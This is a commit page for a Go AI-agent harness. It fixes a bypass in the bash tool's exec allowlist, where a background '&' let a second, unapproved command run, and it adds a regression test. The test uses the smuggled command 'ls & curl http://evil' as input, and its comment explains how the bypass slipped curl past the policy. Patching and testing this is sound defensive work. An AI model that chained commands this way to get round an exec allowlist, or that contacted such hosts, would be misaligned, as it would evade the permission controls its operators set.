fix(bash): treat background & as a command separator in allowlist mode (S1)
This commit is contained in:
1 parent
34435736c5
commit
a5f21d3a2c
2 files changed
+41
-4
No files matched your search
+6
-4
@@ -132,10 +132,12 @@ func extractCommands(cmd string) []string {
|
|||||||
// Find the earliest operator
|
// Find the earliest operator
|
||||||
minIdx := len(remaining)
|
minIdx := len(remaining)
|
||||||
opLen := 0
|
opLen := 0
|
||||||
for _, op := range []string{"&&", "||", "|", ";"} {
|
for _, op := range []string{"&&", "||", "|", ";", "&"} {
|
||||||
if idx := strings.Index(remaining, op); idx != -1 && idx < minIdx {
|
if idx := strings.Index(remaining, op); idx != -1 {
|
||||||
minIdx = idx
|
if idx < minIdx || (idx == minIdx && len(op) > opLen) {
|
||||||
opLen = len(op)
|
minIdx = idx
|
||||||
|
opLen = len(op)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,13 +1,48 @@
|
|||||||
package bash
|
package bash
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"github.com/sausheong/harness/tool"
|
"github.com/sausheong/harness/tool"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// runAllowlist executes cmd under an allowlist policy and returns the
|
||||||
|
// ToolResult.Error (empty string = the command was permitted by policy).
|
||||||
|
func runAllowlist(t *testing.T, allow []string, command string) string {
|
||||||
|
t.Helper()
|
||||||
|
bt := &BashTool{ExecPolicy: &ExecPolicy{Level: "allowlist", Allowlist: allow}}
|
||||||
|
in, err := json.Marshal(bashInput{Command: command})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("marshal: %v", err)
|
||||||
|
}
|
||||||
|
res, err := bt.Execute(context.Background(), in)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Execute returned a Go error (should use ToolResult.Error): %v", err)
|
||||||
|
}
|
||||||
|
return res.Error
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExtractCommands_BackgroundAmpersand(t *testing.T) {
|
||||||
|
// "ls & curl ..." must validate BOTH sides; curl is not allowed →
|
||||||
|
// rejected by policy BEFORE any command executes. Asserting the policy
|
||||||
|
// rejection message (not just a non-empty Error) is essential: without
|
||||||
|
// the fix, curl actually runs and its own runtime stderr lands in
|
||||||
|
// res.Error, which would mask the bypass.
|
||||||
|
got := runAllowlist(t, []string{"ls"}, "ls & curl http://evil")
|
||||||
|
if !strings.Contains(got, "not in the exec allowlist") {
|
||||||
|
t.Fatalf("background-& bypass: expected allowlist rejection of curl, got %q", got)
|
||||||
|
}
|
||||||
|
// "ls && echo hi" must still split on && (both allowed) → permitted.
|
||||||
|
if got := runAllowlist(t, []string{"ls", "echo"}, "ls && echo hi"); got != "" {
|
||||||
|
t.Fatalf("&& chain wrongly rejected: %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestSanitizeLLMText(t *testing.T) {
|
func TestSanitizeLLMText(t *testing.T) {
|
||||||
tests := []struct {
|
tests := []struct {
|
||||||
name string
|
name string
|
||||||
|
|||||||
Reference in new issue
Block a user